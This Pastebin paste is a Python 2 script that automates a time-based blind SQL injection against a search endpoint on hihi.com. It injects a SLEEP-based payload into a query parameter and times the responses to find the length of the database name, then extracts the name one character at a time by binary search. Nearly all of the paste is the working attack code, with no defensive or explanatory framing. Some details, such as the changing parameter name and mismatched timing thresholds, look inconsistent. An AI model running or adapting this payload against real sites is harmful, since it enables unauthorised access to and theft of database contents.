Advertisement
hkln1

Untitled

Sep 18th, 2019
531
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.98 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import requests
  4. import time
  5.  
  6. url_len = "https://hihi.com/search?bien1=ABC&bien2[9999'*(select * from (select(sleep(2-(if(length(DATABASE())>%d,0,2)))))xxx)*'9999][]=16"
  7.  
  8. r = []
  9.  
  10. def request_url(url):
  11.     requests.get(url)
  12.  
  13. def exploit_payload(url):
  14.     start = time.time()
  15.     request_url(url)
  16.     end = time.time() - start
  17.     return end
  18.  
  19. def get_result(url):
  20.     l = 32
  21.     h = 126
  22.     while(l != h):
  23.         m = (l + h)/2
  24.         fu = url % m
  25.         print url
  26.         if(exploit_payload(fu)>6):
  27.             l = m + 1
  28.         else:
  29.             h = m
  30.     return h
  31.  
  32. x = 1
  33. len = 0
  34.  
  35. while True:
  36.     u = url_len % x
  37.     print u
  38.     t = exploit_payload(u)
  39.     if(t < 6):
  40.         len = x
  41.         break
  42.     x += 1
  43.  
  44. print 'Length: ' + str(len)
  45.  
  46. for i in range(len):
  47.     i += 1
  48.     s1 = 'MID(DATABASE(),%s,1)' % str(i)
  49.     s2 = "https://hihi.com/search?bien1=ABC&bienla[9999'*(select * from (select(sleep(2-(if(ORD("+s1+")>%d,0,2)))))xxx)*'9999][]=16"
  50.     r.append(get_result(s2))
  51.  
  52. result = ''.join([chr(i) for i in r])
  53.  
  54. print 'Database: ' + result
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement